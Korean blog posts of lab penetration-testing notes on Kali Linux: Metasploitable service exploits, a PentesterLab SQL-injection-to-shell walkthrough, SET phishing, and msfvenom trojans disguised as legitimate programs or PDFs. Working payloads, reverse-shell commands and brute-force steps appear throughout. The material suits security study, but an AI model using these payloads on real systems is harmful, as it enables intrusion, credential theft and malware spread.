레이블이 kali linux인 게시물을 표시합니다. 모든 게시물 표시
레이블이 kali linux인 게시물을 표시합니다. 모든 게시물 표시

2018. 8. 8.

[metasploitable] nmap 이후 발견된 서비스에 대한 공격 테스트


공격 시나리오 : nmap 구동하고 운영 중인 서비스에 대한 모든 공격테스트를 시행한다.

nmap 을 구동하고 나온 결과는 다음과 같다.

# 21번 ftp

p 서비스 
21번

현재 kali linux 에서 meta로 ftp 접속이 되지 않는 상황이다. (원인 파악 필요)

vsftpd 로 검색한 결과 다음의 모듈을 찾았고 바로 쉘이 실행된다.



# 22번 ssh

openssh 4.7 버전을 사용하고 있다.

ssh 192.168.203.130 -l msfadmin 을 입력하면 password 입력하여 로그인 할 수 있다.



hydra 를 이용한 패스워드 무차별 삽입 공격 실패
나중에 원인을 찾도록 한다.


# 23번 telnet

텔넷 서비스 접속을 시도하자 ID/PW 를 묻는다
- telnet 192.168.203.130

hydra 로 무차별 삽입 공격을 수행하자 passwd를 찾았다.





# samba 

nmap 결과로 버전명이 완벽하게 나와있지 않다. 3.x - 4.x 로 되어 있다. 정확한 버전을 알아내기 위해 auxiliary 모듈을 사용한다.

- use auxiliary/scanner/smb/smb_version
- set rhost [tartget ip]
- run


samba 버전이 3.0 이라는 것을 알게되었다. 이 내용으로 metasploit 내에서 search 명령어로 검색해도 되지만 구글에서 samba 3.0 metasploit 이라고 검색하면 내용을 확인 할 수 있다. (username_map_script)

- search username_map_script
- use exploit/multi/samba/usermap_script
- set rhost 192.168.203.130
- run

위 명령어를 통해 쉘을 취득할 수 있다.


# 513번 rlogin 



rlogin 취약점 내용

  • http://coashanee5.blogspot.com/2017/04/r-command.html


tcp port 512, 513, 514 는 r 서비스 이다. 513 rlogin 서비스는 일반 사용자가 특권 계층의 데이터에 접근 할 수 있는 취약점이다. 원격에서는 rlogin 으로 무차별 대입 공격을 할 수 있다.

# 2046번 nfs 

네트워크 파일 시스템(nfs) 에 대한 접근통제가 수행되지 않아 외부에서 공유 자원 목록을 확인 할 수 있다.

원격(kali linux)에서 서비스 설명 정보 출력이 가능하다.
(단, kali linux 기본 설정에서는 rpcinfo, showmount 명령어가 설치 되어 있지 않으니 수동으로 설치 해야한다.

  • sudo apt-get install apt-file
  • sudo apt-file update
  • apt-file search showmount
  • apt-get install nfs-common
)



그러면 이 취약점으로 무엇을 할 수 있을까.
ssh-keygen

ssh key 는 서버에 접속 할 때 비밀번호 대신 key 를 제출 하는 방식이며 이는, 1) 비밀번호보다 높은 수준의 보안을 필요로 할 때, 2) 로그인 없이 자동으로 서버에 접속 할 때 사용된다. 

(참조 https://opentutorials.org/module/432/3742)

ssh-keygen 명령어로 언급된 파일의 설명은 위와 같다. 

mount 명령어를 사용하여 192.168.203.130 파일 시스템을 임의로 만든 /tmp/r00t 디렉터리에 마운트 한다. -t 명령어로 타입을 지정해야한다. 마운트 하면 아래와 같이 metasploitable 의 최상위 폴더의 (/) 파일이 확인된다. 마운트가 정상적으로 된것이다. 
그 후 cat 명령어로 id_ras.pub, 즉 접속하려는 리모트 머신의 인증키를 /tmp/r00t/root/.ssh/authorized_keys에 저장한다.  
cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys  이 명령어로 192.168.203.130 파일의 인증키를 나의 인증키로 대체하는 것이다.


그러면서 ssh 에 접속하게 되면 바로 로그인된다. (root 디렉토리에  id_rsa의 내용이 담겨 있으므로 root@ 라고 입력한다. )

# 3306번 mysql

mysql 비밀번호 설정을 하지 않아서 원격에서 접속이 가능함


# 5432번 postgresql 

postgresql 기본 계정 정보 (postgres/postgres)가 취약하게 설정되어 있어서 외부에서 접속이 가능함


metasploit 으로 공격을 시도 할 수도 있다. 

- use/auxiliary/scanner/postgres/postgres_login
- show options
- set rhosts 192.168.203.130
- set verbose false (whether to print output for all attempts)
- run


hydra 를 이용한 무차별 삽입 공격


** postgres 명령어


postgres=# \dn
스키마(schema) 목록
  이름  |  소유주  
--------+----------
 public | postgres
(1개 행)

postgres=# select version();
                                            version                                            
-----------------------------------------------------------------------------------------------
 PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
(1개 행)

postgres-# \l
                   데이터베이스 목록
   이름    |  소유주  | 인코딩 |      액세스 권한      
-----------+----------+--------+-----------------------
 postgres  | postgres | UTF8   | 
 template0 | postgres | UTF8   | =c/postgres          +
           |          |        | postgres=CTc/postgres
 template1 | postgres | UTF8   | =c/postgres          +
           |          |        | postgres=CTc/postgres
(3개 행)

postgres=# select * from pg_user;
 usename  | usesysid | usecreatedb | usesuper | usecatupd |  passwd  | valuntil | useconfig 
----------+----------+-------------+----------+-----------+----------+----------+-----------
 postgres |       10 | t           | t        | t         | ******** |          | 
(1개 행)



** 히드라는 아래와 같이 상당히 다수의 프로토콜을 지원한다.
It supports: Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP(S)-FORM-GET, HTTP(S)-FORM-POST, HTTP(S)-GET, HTTP(S)-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB(NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.

# 5900번 VNC

취약한 패스워드에 대한 무차별 삽입 공격을 시도한다. 

- use auxiliary/scanner/vnc/vnc_login
- show options


- set verbose false
- set rhosts 192.168.203.130
- run



# 8180번 Apache tomcat/Coyote JSP engine 1.1

8180에 tomcat 구동 중이라는 것을 확인하였고 실제 브라우저에서 접속 확인을 한다. 
- firefox 192.168.203.130:8180
- firefox 192.168.203.130:8180/manager/html

metasploit 에서 로그인 공격을 수행 할 것이다. 

- search tomcat
- use auxiliary/scanner/http/tomcat_mgr_login
- set rhosts 192.168.203.130
- set rposts 8180
- run





# 참조
  • https://metasploit.help.rapid7.com/docs/metasploitable-2-exploitability-guide

Continue reading

2018. 8. 6.

[PentestrLAB] from sql to shell 취약점 점검


PentesterLab 의 from sql to shell 에 관해 취약점 점검을 해본다.

만약 대역을 지정하고 살아있는 호스트를 검색한다면 nmap -sn x.x.x.x/24 라고 검색했을텐데 나는 특정 호스트의 IP 를 알고 있기 때문에 바로 상세 스캔을 진행한다.

# nmap 구동
nmap -sT -sV -A -O -v -p 1-65535 192.168.203.131


스캔 결과 80번 포트가 열려있고 Apache httpd 2.2.16 (Debian) 사용중이라는 정보를 얻을 수 있었다. 


# dirb 구동

# nikto 구동

# sql 인젝션 취약점 발견

1) union 방식








192.168.203.131/cat.php?id=1 에서 취약점을 확인하려 한다.

[order by 를 통한 취약점 확인]
http://testsite.com/cat.php?id=1 order by 1#
http://testsite.com/cat.php?id=1 order by 2#
http://testsite.com/cat.php?id=1 order by 3#
http://testsite.com/cat.php?id=1 order by 4#
http://testsite.com/cat.php?id=1 order by 5# -> 컬럼 갯수가 4개라면 order by 5에서 에러 발생 (여기서 컬럼이란, id, title, img, cat 이런 것을 의미함)


[having 을 통한 취약점 확인, mssql 인 경우만 해당됨]
testsite.com/cat.php?id=1 having 1=1#  --> 취약점이 있다면 에러발생

[union all select 를 통한 취약점 확인]
select * from test where id=1 union all select null; 
select * from test where id=1 union all select null, null; 
select * from test where id=1 union all select null, null, null;
select * from test where id=1 union all select null, null, null;
select * from test where id=1 union all select null, null, null,null;
select * from test where id=1 union all select null, null, null,null,null; --> 컬럼 갯수가 4개라면 5개 null 을 통해 에러 발생

[참 거짓으로 취약점 확인]
testsite.com/cat.php?id=1 or 1=1# -> 모든 컬럼이 노출되면 취약점 존재

[time 기반 취약점 확인]
testsite.com/cat.php?id=1 and sleep(5)# -> 5초후에 페이지가 뜬다면 취약점 존재

[정수기반 취약점 확인]
testsite.com/cat.php?id=2-1  -> id =1 일때와 동일한 결과를 출력하므로 취약

[취약점 존재가 확인되었고 데이터 출력을 시도함]
testsite.com/cat.php?id=1 union all select null,null,null,null; ->  데이터 출력 위치를 확인한다
testsite.com/cat.php?id=1 union all select null,@@version,null,null; -> 두번째 컬럼에서 함수가 실행되어 5.1.63-0+squeeze1가 출력되는 것을 알 수 있다.mysql 임을 확인하였다.

http://testsite.com/cat.php?id=1 union all select null,schema_name,null,null from information_schema.schemata; --> 스키마 name을 확인하였고, information_schema, photoblog라는 이름을 얻었다, 참고로 mysql 은 출력이 안됨


http://testsite.com/cat.php?id=1 union all select 1,database(),3,4; -->현재 사용하고있는데이터베이스 명을 알 수 있다.photoblog 이다.


http://testsite.com/cat.php?id=1 union all select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database(); --> 현재 사용하고 있는 데이터베이스 안에 있는 테이블을 알 수 있다. 

http://testsite.com/cat.php?id=1 union all select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema in (0x70686f746f626c6f67) --> 데이터베이스가 phtoblog 인지 알았으니 in (헥스값) 으로 진행 할 수 있다.




http://testsite.com/cat.php?id=1 union all select 1,group_concat(column_name),3,4 from information_schema.columns where table_name in (0x7573657273) --> 이와 같은 방식으로 users(0x7573657273) 테이블의 컬럼( id, login, password ) 를 알 수 있다.

http://testsite.com/cat.php?id=1 union all select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=users -->이유는 모르겠지만 table_name=users 는 적용이 실행이 안된다.

http://testsite.com/cat.php?id=1 union all select 1,group_concat(concat_ws(0x3a,id,login,password)),3,4 from users; --> concat_ws를 사용하여 : 구분자를 이용한 데이터 출력이 가능하다. 1:admin:8efe310f9ab3efeae8d410a8e0166eb2라고 데이터를 확인 할 수 있다.

2) boolean 참 거짓 을 이용한 방법

** 풀네임으로 찾는 방법
http://testsite.com/cat.php?id=1 and (select 2 from users)=2  --> 이와 같이 users 라는 테이블이 있는지 직접적으로 확인 할 수 있다.
** 문자 하나하나씩 찾는 방법

# upload 공격
앞의 sql 인젝션 공격에서 관리자 계정을 취득하였다. (admin/P4ssw0rd)

192.168.203.131/admin 으로 접속해서 로그인을 하면 파일 업로드하는 페이지가 존재함을 확인하였다. (http://192.168.203.131/admin/new.php)

아래의 php 웹쉘 파일을 올려보겠다.


그러나 웹 사이트에서 php파일을 차단하였다. 그러나 php3 으로 변경하고 업로드 하니 성공하였다.

앞서 dirb 로 확인한 디렉토리 리스팅 취약점을 이용해 웹쉘파일을 실행하면 다음과 같이 웹쉘을 취득 할 수 있다.

nc를 이용해서 실제 쉘을 취득하려 한다.


** metasploit handler 를 이용하여 쉘 취득

1. msfvenom 을 이용해서 리버스 파일을 제작한다.
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.203.135  LPORT=4444 -f raw > shell.php
2. 파일을 업로드 한다. 업로드가 안되면 php3 등으로 바꿔본다.
3. 업로드에 성공하고 업로드 파일을 실행이 가능하게 된다.
4. kalil linux 에서 메타스플로잇을 실해하고 핸들러를 실행한다.

  • use multi/handler
  • set payload php_meterpreter_reverse_tcp
  • set lhost 192.168.203.135(공격자 ip)
  • set lport 4444
5. 핸들러 쉘의 정보는 위에서 만든 리버스 파일의 정보와 동일해야 한다.
6. run 또는 exploit 으로 핸들러를 실행한다. 
7. 웹에서 업로드한 리버스 파일을 실행하면 meterpreter 쉘이 떨어진다.



# 참조

  • http://poqw.tistory.com/24
  • https://medium.com/@Kan1shka9/pentesterlab-from-sql-injection-to-shell-walkthrough-7b70cd540bc8

Continue reading

2018. 8. 5.

[kali linux] ftp 설정 및 메모 정보

kali linux 는 데비안 계열이다. debian 계열 ftp 설정에 관한 메모한다.

kali 를 처음 설치했을때 ftp가 기본으로 설치되어 있지 않기 때문에 직접 설치 해야한다.
- sudo apt-get install ftp
- apt-get install -y vsftpd
- etc/vsftpd.conf 설정
  local_enable=yes  (로컬 사용자의 접속 허용 여부)
  write_enable=yes (로컬 계정 사용자가 write 허용 여부)
  local_umask=022 (로컬 계정 사용자용 umask)
- /etc/init.d/vsftpd restart
- 원격에서 접속

Continue reading

칼리리눅스를 이용한 사회공학 공격

# setoolkit

1. 도메인 피싱


실행하게 되면 위와 같이 뜨고 1번을 선택한다.

- website Attack Vectors 를 선택한다.
- Credential harvester attack method 를 선택한다



- web templates 를 선택한다. 웹 템플릿 항목은 set에 내장되어 있는 구글 페이지를 사용하는 것이다. site cloner는 특정 사이트를 지정하여 해당 페이지를 복제하여 공격할 때 사용한다.
- kali linux 의 IP를 입력한다.  (인터넷망으로 연결해야함)
- google 선택

** 만약 에러가 발생하면, /usr/share/set/src/webattack/harvester/harvester.py 를 수정해야 한다. detect openssl 부분 아래 내용을 모두 주석처리 한다.

- 브라우저에서 칼리 ip를 입력하면 구글 로그인 창이 뜬다.


해당 웹 브라우저에서  ID/PW를 치면 계정정보가 그대로 노출된다.


2. 유사 도메인 공격

- SET 를 이용한 도메인 공격 (GOOGLE과 똑같은 사이트를 만들고 로그인을 유도)
- 클라이언트 사이드 공격 (웹사이트에서 악성 파일(트로이목마 등)을 다운로드 하게하여 실행하게 하거나 웹 사이트에 접속 했을때 바로 자바나 브라우저 공격을 시도 하는 것)
- 웹 사이트가 뿐 아니라 페이크 smtp 메일 서버 ssh , ftp 등 다른 서비스를 통해 로그인 정보 탈취





Continue reading

2018. 8. 2.

트로이 목마 제작 (backdoor)


# 트로이 목마 제작-1 

프로그램을 실행함과 동시에 리버스 커넥션을 통해 쉘을 탈취하는 트로이 목마를 제작해본다.
* msfvenom 사용
msfvenom 메타스플로잇의 부가기능으로 제공되는 프로그램이다. 각종 페이로드를 생성ㅎ할 수 있는 프로그램이다. 공격할때 사용되는 쉘코드, exe 실행파일 형태로 공격파일을 생성 할 수 있다.


msfvenom -p windows/meterpreter/reverse_tcp LHOST=로컬 ip LPORT=4444 -f exe > bad.exe

exe 포맷으로 사용자가 클릭하면 바로 공격이 되는 bad.exe 라는 실행파일을 실행한다.

이 역시 핸들러가 필요하므로 multi/handler 모듈을 사용한다
payload 는 msfvenom 과 동일하게 설정하면 된다. 그 후, 별다른 옵션이 필요 없으므로 바로 실행하면 된다.



해당 파일을 kali/download 에 옮겨서 윈도우7애서 다운로드 하게 되면 리스터에서 응답을 하고 미터프리터 쉘이 실행된다.


# 트로이 목마 제작-2 정상적인 프로그램으로 보이는 real 트로이목마 

/usr/share/windows-binaries 폴더에는 윈도우에서 사용할 수 있는 파일들이 있다.

radmin 을 파일로 위장한 파일 트로이목마를 제작하도록 한다.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=로컬 ip LPORT=4444 -f exe -x /usr/share/windows-binaries/radmin.exe -k > radmin.exe

-k 옵션은 위장 할 원본 파일을 지정, -k 는 페이로드가 새로운 스레드로 생성되게 하는 것이다 즉 페이로드와 상관없이 원본 프로그램이 정상적으로 작동되게 하는 것이다.

이렇게 생성된 파일이름을 기존 생성파일과 동일하게 두면 보다 더 그럴듯하게 된다.
그리고 multi/handler 를 실행하고, 웹서버에 다운로드 하고 실행한다.


radmin.exe 을 다운로드 하면 정상 파일처럼 실행이 되지만 공격자pc 에서는 meterpreter 쉘이 실행된다.
그러나 사용자가 radmin 프로그램을 닫아버리면 세션이 끊어진다. 별도의 프로그래밍을 통해 세션을 유지하는 기능을 넣어야 할것 같다.


Continue reading

pdf 에 공격코드 삽입

정상적인 pdf 코드에 공격코드를 심는 방법이다. 파일에 붙어다니는 바이러스의 한 형태이다.


exploit/windows/fileformat/adobe_pdf_embedded.exe 모듈을 사용한다.
payload 는 windows/meterpreter/reverse_tcp 를 사용한다.


evil.pdf 파일이 생성되었다. 이 파일을 웹 서비스 폴더로 옮겨준다.


웹 서비스를 실행하고 download 폴더로 evil.pdf 파일을 옮겨준다.

java 공격에서는 metasploit 모듈에서 핸들러를 생성해 주었는데 이 모듈의 경우에는 pdf 파일만 생성하고 모듈이 종료된다. 사용자가 나중에 pdf 파일을 실행하게 되면 4444 포트로 요청을 하게 되는데 이것을 받아주는 핸들러를 직접 생성해주어야 한다.

이럴때 use multi/handler 라는 모듈로 멀티 핸들러를 실행한다. 이는 클라이언트 사이드 공격시에 자주 사용되기 때문에 잘 알아두면 좋다.

기본 옵션은 없고 payload를 아까 pdf를 만들때 사용했던 페이로드(windows/meterpreter/reverse_tcp) 를 사용하고 lhost를 칼리로 맞춰주고 실행한다.

그 후 windows 에서 [kali ip]/download 를 접속해서 evil.pdf 를 다운받고 실행하면 다음과 같이 meterpreter가 실행된다.



Continue reading

2018. 7. 18.

Kali linux 에서 DVWA 설치 with XAMPP

# XAMPP 설치

1) 설치 파일 다운
apachefriends.org 접속 후 5.6.23 버전 파일을 다운받는다.

  • https://sourceforge.net/projects/xampp/files/XAMPP%20Linux/5.6.23/

** dvwa 는 php7 에서는 동작하지 않기 때문에 xampp 는 5.6.23 을 받아야 dvwa 와 같이 테스트 할 수 있다.

2) 실행
실행권한을 부여하고 실행한다. 

cd Download
chmod +x ./xampp-linux-x64-5.6.23-0-installer.run
./xampp-linux-x64-5.6.23-0-installer.run



go to application 클릭
opt/lampp 에 설치 되어 있다.

3) 기본 설정

vi /opt/lampp/etc/php.ini

allow_url_include=yes 를 on으로 변경후 저장


그 후 MySQL 과 Apache를 재시작한다. 

# 데이터베이스 설정

phpmyadmin 클릭



databases > create databases > dvwa 생성


dvwa 생성
http://secuacademy.com/files/

압축 파일을 받고 unzip 으로 풀고 서비스 폴더로 옮긴다

mv DVWA-1.9 /opt/lampp/htdocs/dvwa


# DVWA 설정

localhost/dvwa/setup.php

위 빨간색 부분이 설정이 되어 있지 않은 것이다

1) reCAPTCHA Key 설정
https://www.google.com/recaptcha/admin 에 접속하고 아래와 같이 입력한다.


Key가 생성되고 이 키를 dvwa 설정파일에 입력해야 한다. 



vi /opt/lampp/htdocs/dvwa/config/config.inc.php

Site key 는 public key로 Secret Key 는 private key 에 넣는다. 혹시 db 패스워드가 설정되어 있으면 지우고 파일을 저장한다.  


쓰기 권한 주기 
아래 두개의 파일을 직접적으로 모든 권한을 준다 (chmod 777 파일 경로)



모든 설정이 완료되었음을 확인하였다.


localhost/dvwa/login.php 에서 로그인 할 수 있다. id/pw 는 admin / password 이다

그 후 create / Reset database 클릭 

** 재부팅을 하면 /opt/lampp/lampp restart 로 웹서버를 재기동 해야한다. 

Continue reading

Popular Posts

Recent Posts

Powered by Blogger.